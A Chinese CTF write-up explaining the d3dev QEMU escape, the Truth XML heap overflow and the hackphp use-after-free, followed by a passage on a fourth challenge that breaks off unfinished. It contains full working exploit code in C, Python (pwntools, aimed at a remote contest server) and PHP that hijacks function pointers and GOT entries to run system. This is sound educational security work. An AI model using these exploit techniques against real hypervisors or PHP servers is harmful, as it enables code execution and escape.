本文首发于安全客:https://www.anquanke.com/post/id/234263
分享一下比赛中除了Deterministic Heap之外的六五道题。
d3dev & d3dev_revenge
一道简单的qemu pwn,很适合入门,入门知识可参考qemu-pwn-基础知识,这里就不再赘述。
首先查看
launch.sh
启动脚本:1
2
3
4
5
6
7
8
9
10
11!/bin/sh
./qemu-system-x86_64 \
-L pc-bios/ \
-m 128M \
-kernel vmlinuz \
-initrd rootfs.img \
-smp 1 \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 nokaslr quiet" \
-device d3dev \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \一般来说,从参数
-device d3dev
中可以得知,我们要分析的就是这个d3dev
设备逻辑,而且通常就是这个设备中存在着漏洞。分析所给的
qemu-system-x86_64
:1
2
3
4
5
6
7
8
9do_qemu_init_pci_d3dev_register_types
d3dev_mmio_read
d3dev_mmio_write
d3dev_pmio_read
pci_d3dev_register_types
d3dev_class_init
pci_d3dev_realize
d3dev_instance_init
d3dev_pmio_write主要关注”d3dev”相关函数,从
d3dev_class_init
中,可以获得到VenderID
以及DeviceID
,从而找到目标PCI设备,从而获得相关的设备内存空间地址:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22/ # lspci
00:01.0 Class 0601: 8086:7000
00:04.0 Class 0200: 8086:100e
00:00.0 Class 0600: 8086:1237
00:01.3 Class 0680: 8086:7113
00:03.0 Class 00ff: 2333:11e8 ===> d3dev
00:01.1 Class 0101: 8086:7010
00:02.0 Class 0300: 1234:1111
/ # cat /sys/devices/pci0000\:00/0000:00\:03.0/resource
0x00000000febf1000 0x00000000febf17ff 0x0000000000040200 ==> mmio (start end size)
0x000000000000c040 0x000000000000c05f 0x0000000000040101 ==> pmio (start end size)
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000编写guest程序与设备交互的时候,可以直接映射设备地址,也可通过
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:03.0/resource0", O_RDWR | O_SYNC);
来进行映射。上图中两个地址分别对应mmio和pmio。
分析
d3dev_mmio_write
可以很容易发现:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44void __fastcall d3dev_mmio_write(d3devState *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
__int64 v4; // rsi
ObjectClass_0 **v5; // r11
uint64_t v6; // rdx
int v7; // esi
uint32_t v8; // er10
uint32_t v9; // er9
uint32_t v10; // er8
uint32_t v11; // edi
unsigned int v12; // ecx
uint64_t v13; // rax
if ( size == 4 )
{
v4 = opaque->seek + (unsigned int)(addr >> 3);
if ( opaque->mmio_write_part )
{
v5 = &opaque->pdev.qdev.parent_obj.class + v4;
v6 = val << 32;
v7 = 0;
opaque->mmio_write_part = 0;
v8 = opaque->key[0];
v9 = opaque->key[1];
v10 = opaque->key[2];
v11 = opaque->key[3];
v12 = v6 + *((_DWORD *)v5 + 0x2B6);
v13 = ((unsigned __int64)v5[0x15B] + v6) >> 32;
do
{
v7 -= 0x61C88647;
v12 += (v7 + v13) ^ (v9 + ((unsigned int)v13 >> 5)) ^ (v8 + 16 * v13);
LODWORD(v13) = ((v7 + v12) ^ (v11 + (v12 >> 5)) ^ (v10 + 16 * v12)) + v13;
}
while ( v7 != 0xC6EF3720 );
v5[0x15B] = (ObjectClass_0 *)__PAIR64__(v13, v12);
}
else
{
opaque->mmio_write_part = 1;
opaque->blocks[v4] = (unsigned int)val; // index overflow
}
}
}最后
opaque->blocks[v4] = (unsigned int)val;
存在下标溢出,即v4 = opaque->seek + (unsigned int)(addr >> 3);
,而opaque->seek
可以通过d3dev_pmio_write
进行设置,最大值为0x100,此时只要通过完全可控的addr,就能实现下标溢出。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37void __fastcall d3dev_pmio_write(d3devState *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
uint32_t *v4; // rbp
if ( addr == 8 )
{
if ( val <= 0x100 )
opaque->seek = val;
}
else if ( addr > 8 )
{
if ( addr == 0x1C )
{
opaque->r_seed = val;
v4 = opaque->key;
do
*v4++ = ((__int64 (__fastcall *)(uint32_t *, __int64, uint64_t, _QWORD))opaque->rand_r)(
&opaque->r_seed,
0x1CLL,
val,
*(_QWORD *)&size);
while ( v4 != (uint32_t *)&opaque->rand_r );
}
}
else if ( addr )
{
if ( addr == 4 )
{
*(_QWORD *)opaque->key = 0LL;
*(_QWORD *)&opaque->key[2] = 0LL;
}
}
else
{
opaque->memory_mode = val;
}
}而继续分析相关结构体
d3devState
:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
2200000000 d3devState struc ; (sizeof=0x1300, align=0x10, copyof_4545)
00000000 pdev PCIDevice_0 ?
000008E0 mmio MemoryRegion_0 ?
000009D0 pmio MemoryRegion_0 ?
00000AC0 memory_mode dd ?
00000AC4 seek dd ?
00000AC8 init_flag dd ?
00000ACC mmio_read_part dd ?
00000AD0 mmio_write_part dd ?
00000AD4 r_seed dd ?
00000AD8 blocks dq 257 dup(?)
000012E0 key dd 4 dup(?)
000012F0 rand_r dq ? ; offset
000012F8 db ? ; undefined
000012F9 db ? ; undefined
000012FA db ? ; undefined
000012FB db ? ; undefined
000012FC db ? ; undefined
000012FD db ? ; undefined
000012FE db ? ; undefined
000012FF db ? ; undefined
00001300 d3devState ends可以看出,
blocks
后面存在着一个函数指针rand_r
,而通过d3dev_pmio_write
中addr == 0x1C
的情况,发现rand_r
函数的第一个参数r->seed
也是可控的,因此完全可以通过其实现调用system("cat flag")
。那么整个利用过程为:
- 通过调用
d3dev_pmio_write
,即outw(0, 0xC040 + 0x4);
将keys
全部设置为0。 - 再通过调用
d3dev_pmio_write
,即outw(0x100,d] = mmio_read(0x18); res[1] = mmio_read(0x18)
读出rand_r
函数地址(TEA加密后的),再解密得到明文,算出libc的基地址。 - 计算出
system
的地址,由于d3dev_mmio_write
的写内存模式为:先写入低4 bytes,然后结合第二次传入的4 bytes作为高4 bytes组合成8 bytes,TEA加密(解密)后再写入对应内存中。所以只要先加密system
的地址,然后分两次(先低后高)写入即可opaque->rand_r
处即可。 - 最后触发调用
rand_r
,即可得到flag。
- 通过调用
exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
int fd;
uint32_t page_offset(uint32_t addr)
{
return addr & ((1 << PAGE_SHIFT) - 1);
}
uint64_t gva_to_gfn(void *addr)
{
uint64_t pme, gfn;
size_t offset;
offset = ((uintptr_t)addr >> 9) & ~7;
lseek(fd, offset, SEEK_SET);
read(fd, &pme, 8);
if (!(pme & PFN_PRESENT))
return -1;
gfn = pme & PFN_PFN;
return gfn;
}
uint64_t gva_to_gpa(void *addr)
{
uint64_t gfn = gva_to_gfn(addr);
assert(gfn != -1);
return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);
}
unsigned char *mmio_mem;
void die(const char *msg)
{
perror(msg);
exit(-1);
}
void mmio_write(uint32_t addr, uint32_t value)
{
*((uint32_t *)(mmio_mem + addr)) = value;
}
uint32_t mmio_read(uint32_t addr)
{
return *((uint32_t *)(mmio_mem + addr));
}
void encrypt (uint32_t* v, uint32_t* k) {
uint32_t v0=v[0], v1=v[1], sum=0, i; /* set up */
uint32_t delta=0x9e3779b9; /* a key schedule constant */
uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */
for (i=0; i < 32; i++) { /* basic cycle start */
sum += delta;
v0 += ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
v1 += ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
} /* end cycle */
v[0]=v0; v[1]=v1;
}
void decrypt (uint32_t* v, uint32_t* k) {
uint32_t v0=v[0], v1=v[1], sum=0xC6EF3720, i; /* set up */
uint32_t delta=0x9e3779b9; /* a key schedule constant */
uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */
for (i=0; i<32; i++) { /* basic cycle start */
v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
sum -= delta;
} /* end cycle */
v[0]=v0; v[1]=v1;
}
int main(int argc, char *argv[])
{
fd = open("/proc/self/pagemap", O_RDONLY);
if(fd < 0)
{
perror("open");
exit(-1);
}
// Open and map I/O memory for the strng device
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:03.0/resource0", O_RDWR | O_SYNC);
if(mmio_fd == -1)
die("mmio_fd open failed");
mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if(mmio_mem == MAP_FAILED)
die("mmap mmio_mem failed");
printf("mmio_mem @ %p\n", mmio_mem);
mlock(buffer, 0x1000);
printf("Your physical address is at 0x%"PRIx64"\n", gva_to_gpa(buffer));
uint32_t res[10] = {0};
uint32_t key[4] = {0, 0, 0, 0};
iopl(3);
outw(0, 0xC040 + 0x4); // set keys all zero
outw(0x100, 0xC040 + 0x8); // seek = 0x100
res[0] = mmio_read(0x18);
res[1] = mmio_read(0x18);
encrypt(res, key);
printf("%p\n", *(uint64_t *)res);
uint64_t libc_base = *(uint64_t *)res - 0x25eb0;
printf("libc_base: %p\n", libc_base);
uint64_t system = libc_base + 0x30410;
printf("system address: %p\n", system);
res[0] = system & 0xFFFFFFFF;
res[1] = system >> 32;
decrypt(res, key);
printf("res[0]: %p\n", res[0]);
mmio_write(0x18, res[0]);
mmio_write(0x18, res[1]);
outw(0x0, 0xC040 + 0x8); // seek = 0x0
mmio_write(0x0, *(uint32_t *)"flag");
outl(*(uint32_t *)"cat ", 0xC040 + 0x1C);
return 0;
}
Truth
题目给了源码,编译因为是-O3
,加上是cpp程序,所以binary会比较难看,直接分析源码即可。
首先,程序实现了一个简单的xml文件解析功能,提供了四个功能:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26case 1:
char temp;
cout << "Please input file's content" << endl;
while (read(STDIN_FILENO, &temp, 1) && temp != '\xff')
{
xmlContent.push_back(temp);
}
xmlfile.parseXml(xmlContent);
break;
case 2:
cout << "Please input the node name which you want to edit" << endl;
cin >> nodeName >> content;
xmlfile.editXML(nodeName, content);
break;
case 3:
pnode(*xmlfile.node->begin(), "");
break;
case 4:
cout << "MEME" << endl;
cin >> nodeName;
if (auto temp = pnode(*xmlfile.node->begin(), "", nodeName))
temp->meme(temp->backup);
break;分别是解析一个xml文件,编辑所给xml文件中给定节点的内容,打印节点信息,以及打印类成员backup中的内容。
主要注意到在输入一个xml文件,触发解析逻辑的时候:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47void XML_NODE::parseNodeContents(std::vector<std::string::value_type>::iterator& current)
{
while (*current)
{
switch (*current)
{
case CHARACTACTERS::LT:
{
if (*(current + 1) == CHARACTACTERS::SLASH)
{
current += 2;
auto gt = iterFind(current, CHARACTACTERS::GT);
if (this->nodeName != std::string{ current, gt })
{
std::cout << "Unmatch!" << std::endl;
exit(-1);
}
current = gt + 1;
return;
}
else
{
++current;
std::shared_ptr<XML_NODE> node(std::make_shared<XML_NODE>());
node->parse(current);
if (!this->node)
this->node = std::make_shared < std::vector < std::shared_ptr<XML_NODE>>>();
this->node->push_back(node);
}
break;
}
case CHARACTACTERS::NEWLINE:
case CHARACTACTERS::BLANK:
++current;
break;
default:
{
auto lt = iterFind(current, CHARACTACTERS::LT);
data = std::make_shared <std::string>(current, lt);
backup = (char*)malloc(0x50); // malloc here
current = lt;
break;
}
}
}
}backup
的大小是固定的由malloc(0x50)
得到的,但是后面在editXML
中:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30void XML::editXML(std::string& name, std::string& content)
{
int status = getEditStatus(name, content);
if (status >= 1)
{
std::shared_ptr<XML_NODE> a = pnode(*node->begin(), "", name);
if (a && a->nodeName == name)
{
if (status == 1)
{
*(a->data) = content;
}
else
{
for (int i = 0; i < a->data->length(); i++) // data can be very long
{
a->backup[i] = (*a->data)[i];
}
*(a->data) = content;
}
}
}
else
{
std::cout << "No such name" << std::endl;
}
return;
}这里的逻辑是,每次要edit节点内容的时候,会将原来
data
中的数据放到backup
中,然后再用data
储存输入的新数据;问题在于,输入的data
长度并没有限制,因此复制到backup
中的时候,显然存在溢出的可能,于是这里存在一个heap overflow。同时很重要的一点,菜单的第四个功能,是通过类成员中的一个函数指针实现的,即
temp->meme(temp->backup);
中的meme
,因此修改该函数指针,即可劫持程序控制流;同时,由于backup
是在解析xml文件时分配的内存,因此其处于heap中地址较低处,也就是说,通过溢出backup
,可以覆盖到后面地址中存在的许多结构体,也可以leak出其中存在的heap地址和libc地址。此外,由于分析具体的结构体构成比较费力,覆盖heap中数据时,应尽量避免修改原有数据,而主要是找到backup
以及meme
所在的位置,覆盖该backup
指针指向任意地址或者覆盖meme
指向onegadget
,即可实现任意地址读写以及getshell。因此利用思路为:
- 首先参照xml文件格式,编写一个尽量简单的文件交给程序解析,由于整个利用围绕xml中的节点展开,所以这里只定义一个root节点,也方便debug。
- 通过
editXML
,实现溢出backup
,再调用temp->meme(temp->backup)
,将backup
后面的heap地址leak出来。 - 伪造结构体,控制其中的成员
backup
为read_got
,通过temp->meme(temp->backup)
来leak出libc地址。 - 再控制成员
meme
为onegadget
即可。 - 总的来说,很多结构体并没有分析到位,基本通过调试,然后不断试错实现利用的,所以分析写得比较难看。
exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import sys, os, re
context(arch='amd64', os='linux', log_level='debug')p = remote('106.14.216.214', 48476)
# menu
choose_items = {
"add": 1,
"edit": 2,
"show": 3,
"bonus": 4
}
def choose(idx):
p.sendlineafter("Choice: ", str(idx))
def add(content):
choose(choose_items['add'])
p.sendlineafter("Please input file's content", content)
def edit(name, content):
choose(choose_items['edit'])
p.sendlineafter("Please input the node name which you want to edit", name)
p.sendline(content)
def show():
choose(choose_items['show'])
def bonus(name):
choose(choose_items['bonus'])
p.sendlineafter("MEME", name)
# heap overflow, leak heap base
add("<?xml version=\"1.0\" ?><root>" + "A" * 0x20 + "</root>\xFF")
edit("root", "B" * 0x68 + "heapaddr")
edit("root", "C" * 0x58)
bonus("root")
p.recvuntil("heapaddr")
heap_base = u64(p.recvline()[:-1].ljust(8, "\x00")) - 0x11f30
# heap overflow, hijack struct to leak libc base
edit("root", "D" * 0x58 + p64(0x21) + p64(0x405608) + p64(0x0000000100000001) + p64(heap_base + 0x12180))
pause()
payload = flat([heap_base + 0x121a0, heap_base + 0x12190, 0x405608, 0x0000000100000001, 0x405340, heap_base + 0x11de8, 4, 0x746f6f72] + \
4 *[0] + [heap_base + 0x11e00] * 2 + \
[0] + \
[heap_base + 0x11e70, heap_base + 0x11e60] + \
[0] * 2 + \
[elf.got['read']])
edit("root", payload)
bonus("root")
p.recvuntil("Useless")
libc_base = u64(p.recv(6).ljust(8, "\x00")) - libc.sym['read']
one_gadget = libc_base + 0xf1207
# hijack fp
payload = flat([heap_base + 0x121a0, heap_base + 0x12190, 0x405608, 0x0000000100000001, heap_base + 0x121C0, heap_base + 0x11de8, 4, 0x746f6f72] + \
[one_gadget, 0, 0, 0] + \
[heap_base + 0x11e00] * 2 + \
[0] + \
[heap_base + 0x11e70, heap_base + 0x11e60] + \
[0] * 2 + \
[heap_base + 0x12228])
edit("root", payload)
bonus("root")
success("libc_base: " + hex(libc_base))
success("heap_base: " + hex(heap_base))
p.interactive()
hackphp
第一次webpwn,题目本身并不难,主要是调试比较麻烦,Docker build出来的环境都和远程不一致(不知为何)。
分析
hackphp.so
,主要关注这几个hackphp
相关的函数:1
2
3
4
5
6
7
8zif_hackphp_edit_cold
zif_info_hackphp
zm_activate_hackphp
zif_hackphp_create
zif_hackphp_delete
zif_hackphp_edit
zif_hackphp_get
zif_startup_hackphp可以看出模式依然是菜单题模式,其中
zif_hackphp_create
存在很明显的uaf漏洞:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25void __fastcall zif_hackphp_create(zend_execute_data *execute_data, zval *return_value)
{
__int64 v2; // rdi
char *v3; // rdi
__int64 size[3]; // [rsp+0h] [rbp-18h] BYREF
v2 = execute_data->This.u2.next;
size[1] = __readfsqword(0x28u);
if ( (unsigned int)zend_parse_parameters(v2, &unk_2000, size) != -1 )
{
v3 = (char *)_emalloc(size[0]);
buf = v3;
buf_size = size[0];
if ( v3 )
{
if ( (unsigned __int64)(size[0] - 0x100) <= 0x100 )
{
return_value->u1.type_info = 3;
return;
}
_efree(v3);
}
}
return_value->u1.type_info = 2;
}当所给的size不处于0x100~0x200之间时,就会马上调用
_efree(v3)
给释放掉,但是指针并没有清空,依然可以show和edit。其次,了解到本题中的堆管理机制并不同于ptmalloc,从利用的角度来说,而是有点类似于linux kernel的slab,即单考虑小块内存,总共有以下粒度,同一粒度的chunk最开始来自于某同一page:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33define ZEND_MM_BINS_INFO(_, x, y) \
_( 0, 8, 512, 1, x, y) \
_( 1, 16, 256, 1, x, y) \
_( 2, 24, 170, 1, x, y) \
_( 3, 32, 128, 1, x, y) \
_( 4, 40, 102, 1, x, y) \
_( 5, 48, 85, 1, x, y) \
_( 6, 56, 73, 1, x, y) \
_( 7, 64, 64, 1, x, y) \
_( 8, 80, 51, 1, x, y) \
_( 9, 96, 42, 1, x, y) \
_(10, 112, 36, 1, x, y) \
_(11, 128, 32, 1, x, y) \
_(12, 160, 25, 1, x, y) \
_(13, 192, 21, 1, x, y) \
_(14, 224, 18, 1, x, y) \
_(15, 256, 16, 1, x, y) \
_(16, 320, 64, 5, x, y) \
_(17, 384, 32, 3, x, y) \
_(18, 448, 9, 1, x, y) \
_(19, 512, 8, 1, x, y) \
_(20, 640, 32, 5, x, y) \
_(21, 768, 16, 3, x, y) \
_(22, 896, 9, 2, x, y) \
_(23, 1024, 8, 2, x, y) \
_(24, 1280, 16, 5, x, y) \
_(25, 1536, 8, 3, x, y) \
_(26, 1792, 16, 7, x, y) \
_(27, 2048, 8, 4, x, y) \
_(28, 2560, 8, 5, x, y) \
_(29, 3072, 4, 3, x, y)
申请内存空间时,大小向上对齐。
而空闲chunk的维护,也是通过一个单链表,即chunk中存在一个fd指针,指向下一个空闲chunk,当链表中最后一个chunk被申请出去时,其fd=0,则说明空闲chunk已被用完,之后再申请会从新的page中产生。
同样地在释放的时候,并不是任意内存均可被
_efree
,这里仅根据调试结果来看,应该需要位于特定的page中。因此根据上面的管理机制,注意到对于size处于225~256时,申请出的chunk大小都是256,但是不同的是,只有size=256时,才能不触发
_efree
,否则会被立刻_efree
。同时在调试过程中发现,在申请第一个0x100的chunk时,存在残留的地址信息,其中有一项指向php进程的heap区域,而该区域正好存在hackphp.so中的函数地址,因此只要利用uaf,申请到该区域的内存,就能实现leak,得到hackphp.so的基址:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62gef➤ tele 0x00007fa5c088e000
0x00007fa5c088e000│+0x0000: "aaaaaaaabbbbbbbbccccccccdddddddd"
0x00007fa5c088e008│+0x0008: "bbbbbbbbccccccccdddddddd"
0x00007fa5c088e010│+0x0010: "ccccccccdddddddd"
0x00007fa5c088e018│+0x0018: "dddddddd"
0x00007fa5c088e020│+0x0020: 0x000055b970154f00 → 0x000001c600000001 ==> remained data
0x00007fa5c088e028│+0x0028: 0x0000000000000006
0x00007fa5c088e030│+0x0030: 0x00007fa5c0872200 → 0x0000004600000001
0x00007fa5c088e038│+0x0038: 0x0000000000000006
0x00007fa5c088e040│+0x0040: 0x000055b970155060 → 0x000001c600000001
0x00007fa5c088e048│+0x0048: 0x0000000000000006
gef➤ tele 0x000055b970154f00 50
0x000055b970154f00│+0x0000: 0x000001c600000001
0x000055b970154f08│+0x0008: 0xd304f972b2628589
0x000055b970154f10│+0x0010: 0x000000000000000c
0x000055b970154f18│+0x0018: "hackphp_edit"
0x000055b970154f20│+0x0020: 0x0000000074696465 ("edit"?)
0x000055b970154f28│+0x0028: 0x0000000000000081
0x000055b970154f30│+0x0030: 0x0000000100000001
0x000055b970154f38│+0x0038: 0x000055b970154f00 → 0x000001c600000001
0x000055b970154f40│+0x0040: 0x0000000000000000
0x000055b970154f48│+0x0048: 0x0000000000000000
0x000055b970154f50│+0x0050: 0x0000000100000001
0x000055b970154f58│+0x0058: 0x00007fa5c3073cb8 → 0x00007fa5c3072095 → 0x6c62757000727473 ("str"?)
0x000055b970154f60│+0x0060: 0x00007fa5c3071480 → <zif_hackphp_edit+0> endbr64 ==> hackphp.so
0x000055b970154f68│+0x0068: 0x000055b970154da0 → 0x013416b6000000a8
0x000055b970154f70│+0x0070: 0x0000000000000000
0x000055b970154f78│+0x0078: 0x0000000000000000
0x000055b970154f80│+0x0080: 0x0000000000000000
0x000055b970154f88│+0x0088: 0x0000000000000000
0x000055b970154f90│+0x0090: 0x0000000000000000
0x000055b970154f98│+0x0098: 0x0000000000000000
0x000055b970154fa0│+0x00a0: 0x0000000000000000
0x000055b970154fa8│+0x00a8: 0x0000000000000031 ("1"?)
0x000055b970154fb0│+0x00b0: 0x000001c600000001
0x000055b970154fb8│+0x00b8: 0xa82920e8d2d87056
0x000055b970154fc0│+0x00c0: 0x000000000000000e
0x000055b970154fc8│+0x00c8: "hackphp_delete"
0x000055b970154fd0│+0x00d0: 0x00006574656c6564 ("delete"?)
0x000055b970154fd8│+0x00d8: 0x0000000000000081
0x000055b970154fe0│+0x00e0: 0x0000000100000001
0x000055b970154fe8│+0x00e8: 0x000055b970154fb0 → 0x000001c600000001
0x000055b970154ff0│+0x00f0: 0x0000000000000000
0x000055b970154ff8│+0x00f8: 0x0000000000000000
0x000055b970155000│+0x0100: 0x0000000000000000
0x000055b970155008│+0x0108: 0x0000000000000000
0x000055b970155010│+0x0110: 0x00007fa5c3071420 → <zif_hackphp_delete+0> endbr64 ==> hackphp.so
0x000055b970155018│+0x0118: 0x000055b970154da0 → 0x013416b6000000a8
0x000055b970155020│+0x0120: 0x0000000000000000
0x000055b970155028│+0x0128: 0x0000000000000000
0x000055b970155030│+0x0130: 0x0000000000000000
0x000055b970155038│+0x0138: 0x0000000000000000
0x000055b970155040│+0x0140: 0x0000000000000000
0x000055b970155048│+0x0148: 0x0000000000000000
0x000055b970155050│+0x0150: 0x0000000000000000
0x000055b970155058│+0x0158: 0x0000000000000031 ("1"?)
0x000055b970155060│+0x0160: 0x000001c600000001
0x000055b970155068│+0x0168: 0xc0938b7014ebbf23
0x000055b970155070│+0x0170: 0x000000000000000b
0x000055b970155078│+0x0178: "hackphp_get"
0x000055b970155080│+0x0180: 0x0000000000746567 ("get"?)
0x000055b970155088│+0x0188: 0x0000000000000081这里发现调试的时候,残留的heap地址不是固定的,可能重启下就又换了个地址,但是并不影响后续利用,如果出现如上的情况只要
hackphp_edit
的时候多写一个字节,然后算地址的时候处理一下即可。得到hackphp.so的基址,加上任意地址写,就能够完全控制全局变量
buf
;不过这里要注意一下,_emalloc
到任意地址的时候,要注意该地址的fake chunk->fd要么指向可写地址,原因是打印的时候也会触发_emalloc
;要么直接为0,这样下一次_emalloc
就会重新分配新的page,不会破坏内存。因此利用的思路为:
- 首先正常
_emalloc(0x100)
,leak出php进程的heap地址。 - 之后通过uaf,申请到该heap中的内存,通过
zif_hackphp_get
得到hackphp.so的加载基址。 - 继续通过uaf,申请到全局变量buf所在的内存空间,覆盖buf指向
memcpy_got
。 - 通过
zif_hackphp_get
得到memcpy
的地址,计算出libc基址和system
的地址。 - 再通过
zif_hackphp_edit
覆盖memcpy_got
处为/readflag
,以及覆盖_efree
为system
。 - 最后调用
zif_hackphp_delete
触发system
。
- 首先正常
exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
function strToHex($str) {
$hex = "";
for ($i = strlen($str) - 1;$i >= 0;$i--) $hex.= dechex(ord($str[$i]));
$hex = strtoupper($hex);
return $hex;
}
function hexToStr($hex) {
$hex = sprintf("%08x", $hex);
$str = "";
for ($i = strlen($hex) - 2;$i >= 0;$i -= 2) $str.= chr(hexdec($hex[$i] . $hex[$i + 1]));
return $str;
}
function read() {
$fp = fopen('/dev/stdin', 'r');
$input = fgets($fp, 255);
fclose($fp);
$input = chop($input);
return $input;
}
hackphp_create(0x100);
echo read();
hackphp_edit("aaaaaaaabbbbbbbbccccccccdddddddd");
$a = hackphp_get();
echo $a."\n";
echo strlen($a);
$heap_addr = substr($a, -6);
echo $heap_addr."\n";
$heap_addrn = base_convert(strTohex($heap_addr),16,10);
echo $heap_addrn;
echo "\n";
hackphp_create(0xff);
hackphp_edit(hexToStr($heap_addrn + 0xf8));
hackphp_create(0x100);
hackphp_create(0x100);
hackphp_edit("aaaaaaaabbbbbbbbcccccccc");
$edit_addr = substr(hackphp_get(), -6);
$edit_addrn = base_convert(strTohex($edit_addr),16,10);
$buf_addrn = $edit_addrn - 0x1420 + 0x4178;
echo $buf_addrn;
echo "\n";
$buf_addr = hexToStr($buf_addrn-0x10);
$vline = $heap_addrn + 0xC8090;
$memcpy_got = $edit_addrn-0x1420+0x4060;
hackphp_create(0xff);
hackphp_edit($buf_addr);
hackphp_create(0x100);
hackphp_create(0x100);
$payload = "\x00\x00\x00\x00\x00\x00\x00\x00".hexToStr($vline)."\x00\x00".hexToStr($memcpy_got);
hackphp_edit($payload);
$libc = hackphp_get();
$libcn = base_convert(strToHex($libc),16,10) - 0x18e670;
$system_addr = $libcn + 0x55410;
echo $libcn;
$pay = "/readflag\x00\x00\x00\x00\x00\x00\x00".chr($system_addr & 0xFF).chr(($system_addr >> 8) & 0xFF).chr(($system_addr >> 16) & 0xFF).chr(($system_addr >> 24) & 0xFF).chr(($system_addr >> 32) & 0xFF).chr(($system_addr >> 40) & 0xFF);
hackphp_edit($pay);
hackphp_delete();
// echo read();附上调试过程中踩到的坑:
在调用
zif_hackphp_get
的时候,要保证此时内存状态是正常的,因为:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15void __fastcall zif_hackphp_get(zend_execute_data *execute_data, zval *return_value)
{
__int64 v2; // rax
if ( buf && buf_size )
{
v2 = zend_strpprintf(0LL, "%s", buf);
return_value->value.lval = v2;
return_value->u1.type_info = (*(_DWORD *)(v2 + 4) & 0x40) == 0 ? 262 : 6;
}
else
{
return_value->u1.type_info = 2;
}
}其中
zend_strpprintf
会调用到_emalloc
申请临时buffer,之后用完会释放,若此时内存状态不正常,就会crash。调试的时候可以手动实现一个
read
的功能,将php断住,便于下断点。至于fopen
被禁用的问题,可以修改php.ini
中的disable_function
,把fopen
给删掉即可。
狡兔三窟
首先分析一下几个重要的结构体,以及各个菜单的功能:
NoteStorageImpl:
1
2
3
4
5
6struct NoteStorageImpl
{
struct NoteImpl *member_1; // offset = 0
struct NoteImpl *member_2; // offset = 8
struct NoteDBImpl *house; // offset = 0x10
};NoteImpl:
1
2
3
4
5
6
7
8
9
10struct NoteImpl
{
void *func_get_encourage; // offset = 0
uint8_t vector_status; // offset = 8
vector<char> buf_1; // offset = 0x10
vector<char> buf_2; // offset = 0x1A0
void *malloc; // offset = 0x1B8
}NoteDBImpl
1
2
3
4
5struct NoteDBImpl
{
uint8_t status; // offset = 0
struct NoteImpl *member; // offset = 8
}editHouse:
1
2
3
4
5
6
7
8
9
10__int64 __fastcall NoteStorageImpl::editHouse(NoteStorageImpl *this)
{
NoteImpl *v1; // rax
if ( (unsigned __int8)std::unique_ptr<NoteImpl>::operator bool(this) != 1 )
v1 = (NoteImpl *)std::unique_ptr<NoteImpl>::get((__int64)this + 8);
else
v1 = (NoteImpl *)std::unique_ptr<NoteImpl>::get((__int64)this);
return NoteImpl::add(v1);
}判断
